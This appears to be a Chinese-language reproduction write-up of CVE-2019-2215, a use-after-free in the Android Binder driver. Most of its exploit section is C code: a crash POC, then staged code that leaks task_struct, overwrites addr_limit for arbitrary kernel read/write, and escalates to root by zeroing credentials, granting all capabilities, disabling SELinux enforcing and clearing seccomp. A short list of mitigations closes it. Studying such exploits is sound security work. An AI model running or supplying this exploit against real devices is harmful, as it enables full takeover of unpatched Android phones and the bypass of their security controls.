CVE-2019-2215复现过程记录
字数 1430 2025-08-22 12:22:36
CVE-2019-2215 Android内核提权漏洞分析与利用指南
漏洞概述
CVE-2019-2215是一个Android内核中的use-after-free漏洞,存在于Binder驱动中。该漏洞允许本地攻击者在内核上下文中执行任意代码,最终实现权限提升至root。漏洞影响Android 8.0-9.0版本,特别是使用4.4及以下内核版本的设备。
漏洞成因分析
关键结构体
漏洞涉及的关键结构体是binder_thread:
struct binder_thread {
struct binder_proc *proc;
struct rb_node rb_node;
struct list_head waiting_thread_node;
int pid;
int looper;
bool looper_need_return;
struct binder_transaction *transaction_stack;
struct list_head todo;
bool process_todo;
struct binder_error return_error;
struct binder_error reply_error;
wait_queue_head_t wait; // UAF点 (偏移0xA0)
struct binder_stats stats;
atomic_t tmp_ref;
bool is_dead;
struct task_struct *task; // root点 (偏移0x190)
};
漏洞触发流程
- 使用epoll的进程调用
BINDER_THREAD_EXIT结束binder线程时,会释放binder_thread结构体 - 程序退出或调用
EPOLL_CTL_DEL时会遍历已释放结构体binder_thread中的wait链表进行删除操作 - 问题在于:此时访问的wait链表位于已释放的
binder_thread结构体中,导致use-after-free
漏洞POC代码
#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>
#define BINDER_THREAD_EXIT 0x40046208ul
int main() {
int fd, epfd;
struct epoll_event event = {.events = EPOLLIN};
fd = open("/dev/binder0", O_RDONLY);
epfd = epoll_create(1000);
epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
ioctl(fd, BINDER_THREAD_EXIT, NULL);
}
漏洞利用详解
利用准备
-
内存布局准备:
dummy_page_4g_aligned = mmap((void*)0x100000000UL, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);申请4G对齐的内存用于绕过spinlock检查
-
初始化管道和binder:
pipe(kernel_rw_pipe); binder_fd = open("/dev/binder", O_RDONLY); epfd = epoll_create(1000);
第一阶段:泄露task_struct指针
关键步骤
- 使用
writev重新申请到binder_thread释放的空间 - 通过
EPOLL_CTL_DEL调用remove_wait_queue泄露wait地址 - 计算偏移得到
task_struct指针
泄露过程代码
void leak_task_struct(void) {
struct epoll_event event = {.events = EPOLLIN};
epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event);
struct iovec iovec_array[IOVEC_ARRAY_SZ];
memset(iovec_array, 0, sizeof(iovec_array));
// 构造绕过spinlock检查的数据
iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned;
iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 0x1000;
iovec_array[IOVEC_INDX_FOR_WQ+1].iov_base = (void*)0xDEADBEEF;
iovec_array[IOVEC_INDX_FOR_WQ+1].iov_len = 0x1000;
int pipefd[2];
pipe(pipefd);
fcntl(pipefd[0], F_SETPIPE_SZ, 0x1000);
pid_t fork_ret = fork();
if (fork_ret == 0) {
// 子进程触发UAF
sleep(2);
epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);
read(pipefd[0], page_buffer, sizeof(page_buffer));
exit(0);
}
// 父进程占位
ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ);
read(pipefd[0], page_buffer, sizeof(page_buffer));
current_ptr = *(unsigned long*)(page_buffer + 0xe8);
}
泄露原理
writev会通过rw_copy_check_uvector检查并复制iovec结构到内核空间- 精心构造的
iovec数组可以占位被释放的binder_thread内存 EPOLL_CTL_DEL触发remove_wait_queue操作,修改iovec中的数据- 通过管道通信同步父子进程操作顺序
第二阶段:覆盖addr_limit实现任意地址读写
关键步骤
- 类似第一阶段构造
iovec数组 - 通过socketpair和recvmsg实现更精确的内存操作
- 覆盖
task_struct->addr_limit为0xfffffffffffffffe
代码实现
void clobber_addr_limit(void) {
struct epoll_event event = {.events = EPOLLIN};
epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event);
struct iovec iovec_array[IOVEC_ARRAY_SZ];
memset(iovec_array, 0, sizeof(iovec_array));
unsigned long second_write_chunk[] = {
1, /* iov_len */
0xdeadbeef, /* iov_base (already used) */
0x8 + 2*0x10, /* iov_len (already used) */
current_ptr + 0x8, /* next iov_base (addr_limit) */
8, /* next iov_len (sizeof(addr_limit)) */
0xfffffffffffffffe /* value to write */
};
// 构造iovec数据
iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned;
iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 1;
iovec_array[IOVEC_INDX_FOR_WQ+1].iov_base = (void*)0xDEADBEEF;
iovec_array[IOVEC_INDX_FOR_WQ+1].iov_len = 0x8 + 2*0x10;
iovec_array[IOVEC_INDX_FOR_WQ+2].iov_base = (void*)0xBEEFDEAD;
iovec_array[IOVEC_INDX_FOR_WQ+2].iov_len = 8;
int socks[2];
socketpair(AF_UNIX, SOCK_STREAM, 0, socks);
write(socks[1], "X", 1);
pid_t fork_ret = fork();
if (fork_ret == 0) {
sleep(2);
epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);
write(socks[1], second_write_chunk, sizeof(second_write_chunk));
exit(0);
}
ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
struct msghdr msg = {.msg_iov = iovec_array, .msg_iovlen = IOVEC_ARRAY_SZ};
recvmsg(socks[0], &msg, MSG_WAITALL);
}
第三阶段:提权操作
关键步骤
- 修改cred结构体中的UID/GID为0
- 设置capabilities为全权限
- 禁用SELinux
- 处理SECCOMP限制
提权代码
void escalate() {
uid_t uid = getuid();
unsigned long my_cred = kernel_read_ulong(current_ptr + OFFSET__task_struct__cred);
// 修改UID/GID为root
for(int i=0; i<8; i++)
kernel_write_uint(my_cred + 4 + i*4, 0);
// 设置capabilities
kernel_write_uint(my_cred + 0x24, 0); // securebits
for(int i=0; i<3; i++)
kernel_write_ulong(my_cred + 0x30 + i*8, 0x3fffffffffUL);
// 禁用SELinux
unsigned int enforcing = kernel_read_uint(kernel_base + SYMBOL__selinux_enforcing);
if(enforcing) {
kernel_write_uint(kernel_base + SYMBOL__selinux_enforcing, 0);
}
// 处理SECCOMP
if(prctl(PR_GET_SECCOMP) != 0) {
kernel_write_ulong(current_ptr + OFFSET__task_struct__thread_info__flags, 0);
kernel_write_ulong(current_ptr + OFFSET__task_struct__cred + 0xa8, 0);
kernel_write_ulong(current_ptr + OFFSET__task_struct__cred + 0xa0, 0);
}
// 加入init命名空间
int fd = open("/proc/1/ns/mnt", O_RDONLY);
setns(fd, CLONE_NEWNS);
fd = open("/proc/1/ns/net", O_RDONLY);
setns(fd, CLONE_NEWNET);
}
内核符号获取方法
- 根据内核版本下载对应镜像(如
Image.lz4-dtb) - 解压镜像:
lz4 -d Image.lz4-dtb Image - 使用droidimg工具修复并提取符号:
./fix_kaslr_arm64 Image Image_kaslr ./vmlinux.py Image_kaslr > syms.txt - 从符号表中获取关键符号的偏移量
漏洞防御与缓解
- 及时更新Android安全补丁
- 启用SELinux并保持enforcing模式
- 限制非特权进程访问binder驱动
- 启用内核地址空间随机化(KASLR)
- 使用Control Flow Integrity (CFI)等防护机制
总结
CVE-2019-2215是一个典型的内核use-after-free漏洞,通过精心构造的内存操作可以实现从普通权限到root权限的提升。该漏洞利用涉及多个关键技术点:
- 使用epoll和binder驱动触发UAF
- 通过writev/recvmsg实现内存占位和修改
- 利用进程间通信同步操作顺序
- 泄露内核地址并修改关键数据结构
- 绕过多种安全机制(SELinux, SECCOMP等)
理解该漏洞的利用过程对于内核安全研究和漏洞防御都有重要意义。